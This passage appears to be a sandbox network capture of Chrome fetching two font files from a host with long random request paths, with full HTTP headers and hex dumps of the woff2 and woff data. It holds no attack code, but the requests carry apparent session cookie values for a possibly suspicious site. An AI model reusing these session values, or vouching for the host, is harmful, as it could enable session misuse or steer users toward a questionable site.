2024-04-16 19:40:08 UTC	1414	OUT	GET /pqJ7f9jIH8fWXt124b9wx40 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	725	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="pqJ7f9jIH8fWXt124b9wx40" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ShjJa16T8xATt9LOWbTz0QA%2B9UnYN39L8PG9etyT3sRJFaT2kGUOrc0BbXcvEXST%2Bc7BvJ8v8wbFV1wCLlTQf1F%2FnuokT79J38BhWjYPssqJJhm%2F0xKee%2BvcQWGVmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b2e0c7b93-ATL
2024-04-16 19:40:09 UTC	644	IN	Data Raw: 32 64 34 36 0d 0a 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 Data Ascii: 2d46wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: ff ff 5d d3 83 f4 2f 97 fd a3 36 85 5c b6 0c 28 af 6a c8 42 6e 0e d0 cf 4f 6a 16 26 2f 6a 40 11 27 54 db a1 8e 03 77 13 2c 9b ad 9f 2a be fa 92 65 8f 67 c7 b8 49 3d ef b3 77 d0 78 d0 0e 61 70 ba fc 3f fd 8d ce 05 0b a1 0f 6c 49 e0 8d 2f d1 be a1 75 75 44 48 cf 50 2e bd 18 d9 ea 29 ad 5f b3 00 da 3c c0 dd 43 06 78 fd fb cf db e5 9f fb 06 4b 68 b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 Data Ascii: ]/6\(jBnOj&/j@'Tw,egI=wxap?lI/uuDHP.)_<CxKhP\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]yYQ9"v3oEMQoWM
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: f5 56 ea f0 6c d2 85 b7 bb 25 c2 22 9c 44 d9 c5 d0 12 b1 70 be 5a 41 16 48 db 9a 06 31 c8 ea 19 a9 3a 06 d4 aa 89 ad 9c 38 a7 c3 75 05 05 29 61 e9 ea 01 b0 66 02 87 c6 5d e0 c2 39 86 8e b5 2c 7b 06 32 90 0c 4c 11 9d 63 59 fe 64 e7 29 46 cc ca 38 a4 36 0c 35 1e 56 7f 9c 8a a0 23 15 51 05 41 e4 02 85 1c 3a 5e 35 01 24 1a 4e 4a ad 68 65 68 64 9a cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 Data Ascii: Vl%"DpZAH1:8u)af]9,{2LcYd)F865V#QA:^5$NJhehd2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 4b 86 63 8b b5 1e 52 ff f3 fe ff f9 47 bc d2 ed 87 ef a6 44 97 1a 59 a7 e4 bd 9f d1 bf ff f5 c8 d2 57 0b ed 38 0c f8 a4 94 94 3e b9 c9 ce b0 dd fc e4 f4 77 1f b0 b0 d0 62 3c 54 d4 68 72 35 be a6 b6 33 e0 f0 cc d4 80 f2 49 69 54 a2 d3 75 18 f2 51 98 3c 1f 93 5e bd b2 34 d0 7b da 5a d2 01 5d b7 91 70 f5 9e ee e7 df 29 84 2f 8d 21 bc 9b c0 9e 39 aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 Data Ascii: KcRGDYW8>wb<Thr53IiTuQ<^4{Z]p)/!9vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U9
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 72 ed 4d 3b 2c da 5e cf 76 88 d9 a1 fe ec d5 1e c7 5d 0f f2 02 6b 19 fa 68 8b b4 29 22 bf 37 01 c6 33 e9 d9 4b e0 eb 40 3b 1d 57 d8 19 0a 69 f2 60 45 f0 80 4c 18 28 7b 07 b4 67 e8 7d 43 11 ec 12 48 9e e9 51 aa d3 1a e8 6e 7c 6c bd a4 5f 0d 62 d0 a9 94 38 ad 76 d5 a3 c4 03 2e 3b c9 3d d9 ad 04 7f 09 46 25 d3 e1 09 ae 2d cf 99 80 54 9b eb 9f 00 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 Data Ascii: rM;,^v]kh)"73K@;Wi`EL({g}CHQn\|l_b8v.;=F%-TjM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cS
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 5e 59 de 27 ab 3d f2 da 2b cd 07 a4 b5 4f ba fb a5 77 40 ea 0f 4a e5 e0 22 8d 43 86 93 3b 12 72 38 5a 99 ed 8e 7b e6 2d e7 3e 91 dd 49 2a 8b 3d b2 92 dc 17 5b 5c e7 e2 94 3f 1a 32 7d f5 4a 5f f5 b5 4c 2e 23 e3 b7 7f c7 05 01 96 e2 96 7d c5 ba 8d b7 29 dd 3d 0a a5 de 6b 4a 74 e7 95 fc ea 75 76 05 d9 74 b9 b0 24 95 be 39 e2 c8 e7 ed 03 c0 64 f5 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 Data Ascii: ^Y'=+Ow@J"C;r8Z{->I*=[\?2}J_L.#})=kJtuvt$9dgK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 16 2f 7d 1b dc c4 16 f7 b1 0a 71 72 1e 77 48 ac 1b eb c5 46 45 a5 53 58 c7 bf c1 c2 77 cf 6f 87 ab d4 21 cc 7f 20 9c 35 6d c6 ac 39 f3 16 2c 5a f2 15 0d 3a 5d 3f 18 a8 33 23 87 b4 68 d5 e6 a2 76 1d 3a 75 e9 b1 65 e8 a1 d0 a0 21 c3 46 8c 1a 7b cb 61 32 39 34 4c 9b a1 9b 3f 20 ce 93 71 c6 a6 97 af d5 63 8f 3c f1 dc 33 af 7c b3 6d 8b 0c 04 3f 40 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 Data Ascii: /}qrwHFESXwo! 5m9,Z:]?3#hv:ue!F{a294L? qc<3\|m?@`O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_J
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: db 42 16 15 36 5b 3d 68 76 30 01 b4 3f ae 1a bb 41 d8 33 9d 69 1f 82 83 04 e8 3a 24 08 47 26 74 0c c1 49 02 14 9d 12 84 33 13 3a 87 e0 22 81 48 5d 12 84 2b 13 ba 86 e0 26 81 28 dd 12 84 3b 13 ba 87 e0 21 01 aa 1e 09 c2 93 09 3d 43 ee 0f a0 ff 6f dc 1f 9f b9 18 cf db a7 31 f1 e7 ad 74 c8 90 f0 e5 1c 78 f6 57 88 bf cd 85 bf 53 bf e2 c7 1c f6 cf 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 Data Ascii: B6[=hv0?A3i:$G&tI3:"H]+&(;!=Co1txWS{_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: c9 d2 8b b7 00 79 be 74 b1 93 64 ec 36 a8 6d 45 f0 2f 0a ee 01 03 97 4e 6b 3e c8 1a a3 ca b5 e2 69 65 a0 c5 2e 79 8d 81 34 28 2b 65 b7 cc 4f 20 50 d0 ec 5e cc 74 7f 91 9e 6b 38 15 78 eb de 2b c7 15 0b 16 1a b2 ee 4e ad c2 e9 8b 5b 73 fc 86 07 64 a7 05 b7 71 1f 2e 9d aa 83 ba a5 4f 3b 45 d4 12 4a 2e ad 61 00 bd a8 65 12 04 2e 4d eb 35 d1 e1 80 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d Data Ascii: ytd6mE/Nk>ie.y4(+eO P^tk8x+N[sdq.O;EJ.ae.M5i];$M(m\|kvz]>qE-**+&49.3sfXStv\|StzACf)`^g.=
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 0d 0a 39 64 33 0d 0a 63 d9 8c d8 18 b6 3b 56 e0 30 21 16 07 10 af 36 fd c1 be d0 cf ab a8 4d 1d 65 5a 7e b9 80 37 1c 55 3d e6 04 55 75 82 fc 15 d9 2b 1b 2a fb 62 0b 46 1e 9f b3 8c ec 16 70 86 18 f7 c7 16 02 3a 83 cf fc 9f 05 d7 e0 cb aa 57 e9 af 6c 68 ed c4 bf 48 4f 51 73 7c c8 df 97 af 25 0f 02 d8 bb 01 a0 1d 2b 89 f3 77 22 e2 12 dc 03 f9 3b 07 e6 8f 03 0a 13 5b 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 Data Ascii: 9d3c;V0!6MeZ~7U=Uu+bFp:WlhHOQs\|%+w";[\|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49776	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	1413	OUT	GET /12pQHazQfq78CXM6wYqr50 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	721	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: font/woff Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="12pQHazQfq78CXM6wYqr50" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CUKBZNGvdkucRXU1oEIR0%2BQP5gF350%2FIjnmxqc4jg5AARYPm4Lzu7Il%2FlQcmT5%2FY6I01f07ykKlGKbCmfmIiyz3ytvXmROqtwPVbt4fhTUKaeeGPw1gH8zQFxXIxxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b2dde4517-ATL
2024-04-16 19:40:09 UTC	648	IN	Data Raw: 32 66 65 61 0d 0a 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 Data Ascii: 2feawOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hhea
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 11 4e 4b 24 18 93 30 31 61 72 c2 ec 84 e2 84 a3 09 b5 09 2d de 44 6f 5f ef 20 ef 48 ef 5d de 9f 78 27 7b 9f f3 ae f1 ae f7 6e f7 1e f4 96 7b 1b 7c c9 be 4c df 70 df cb be 75 be 0d be 2d be 77 7d fb 7d 15 a0 fa 7e cc b4 0b f9 e8 1f 28 85 7a 50 3a f5 a4 5e 74 15 3d 44 3f a6 87 69 39 ad a4 f5 f4 1a 6d a0 b7 e8 1d ca a7 02 da 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 Data Ascii: NK$01ar-Do_ H]x'{n{\|Lpu-w}}~(zP:^t=D?i9mAEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 19 74 61 f6 39 98 ab 7d 67 2f 46 d2 63 a5 b8 68 4b d5 bc 01 0f 2b f0 74 3c 22 75 ba da 09 2c 35 42 71 39 fa 7d 82 11 18 fd 0c e0 55 da 8b ca 9c 61 29 c0 59 00 4f 30 05 71 cc 8c 6f 85 b0 92 44 cb 97 56 8a 65 2c 85 8c 97 43 83 57 88 0e c2 87 c2 26 57 a3 3d 17 d1 47 bc b7 78 05 8d 7d 93 19 4d b5 3f 83 6e c2 97 42 2f 35 de 74 d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d Data Ascii: ta9}g/FchK+t<"u,5Bq9}Ua)YO0qoDVe,CW&W=Gx}M?nB/5t^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: da 65 6d 23 5a 45 19 72 e9 80 6d 69 e7 05 af 68 88 f0 2a d4 76 ad c7 7c 1f ec 64 0d e6 da 8e d6 f5 38 e4 8b 7e ab c6 f6 c6 d2 6b b5 cf fb cd 5c b4 6d cb 57 a9 0f f4 5b 6e d7 55 93 25 bb 26 53 db da 70 a3 d4 9a 79 f4 d1 ea 1d 1d 0a 89 06 56 47 5e e7 76 b8 6b e5 ac e0 7c 48 de 2b 45 89 29 90 4b bd fe 06 46 7b 14 75 5a 7d ac de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 Data Ascii: em#ZErmih*v\|d8~k\mW[nU%&SpyVG^vk\|H+E)KF{uZ}R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 6a 6e f7 6d 5b 92 8b 72 c3 ce f9 c3 32 35 bd 52 a0 bf e6 6c 82 c5 eb d5 aa 7a c4 66 bb ee d1 5c ea 0f 29 79 ed 35 12 eb 2b 21 2d df 14 64 1e d9 2e dd fc ea 2b 28 25 91 72 33 a7 5a e9 e0 0d 8a cc 2f bf 43 5b 6e b5 32 8b 32 b5 ad 73 1f f0 2d ac 85 ae 8d 09 96 1a 89 73 e7 91 65 d5 b6 66 8f a2 73 8d d1 3d 8d ab 6f bb 08 29 71 c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 Data Ascii: jnm[r25Rlzf\)y5+!-d.+(%r3Z/C[n22s-sefs=o)q3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/H
